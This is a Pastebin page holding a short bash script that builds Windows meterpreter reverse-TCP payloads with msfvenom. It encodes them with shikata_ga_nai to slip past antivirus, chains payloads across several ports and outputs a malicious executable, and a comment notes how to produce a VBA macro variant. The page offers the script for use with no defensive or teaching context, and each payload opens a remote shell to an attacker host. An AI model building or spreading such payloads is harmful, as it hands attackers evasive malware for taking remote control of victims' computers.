Advertisement
3l1t3Sn1P3r

Create Executable Payloads Automatically

Jul 12th, 2015
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.88 KB | None | 0 0
  1. Source Code:
  2.  
  3. #!/bin/bash
  4. # Simple builder
  5. LHOST="192.168.91.135"
  6. LPORTS="4444 5555 6666"
  7.  
  8. rm -fr /tmp/msf.raw
  9. rm -fr /tmp/msf1.raw
  10. echo "Building…"
  11. echo -n "Port: `echo $LPORTS | cut -d " " -f 1`"
  12. echo ""
  13. msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai LHOST=$LHOST LPORT=`echo $LPORTS | cut -d " " -f 1` exitfunc=thread > /tmp/msf.raw
  14. for LPORT in `echo $LPORTS`
  15. do
  16. echo -n "Port: $LPORT"
  17. echo ""
  18. msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/shikata_ga_nai LHOST=$LHOST LPORT=$LPORT exitfunc=thread -c /tmp/msf.raw > /tmp/msf1.raw
  19. cp /tmp/msf1.raw /tmp/msf.raw
  20. done
  21. # Change option –f exe to –f vba in order to create a vba file
  22. msfvenom -p windows/meterpreter/reverse_tcp -f exe -e x86/shikata_ga_nai LHOST=$LHOST LPORT=$LPORT exitfunc=thread -c /tmp/msf1.raw > msf.exe
  23. rm -fr /tmp/msf.raw
  24. rm -fr /tmp/msf1.raw
  25. echo -n "Done!"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement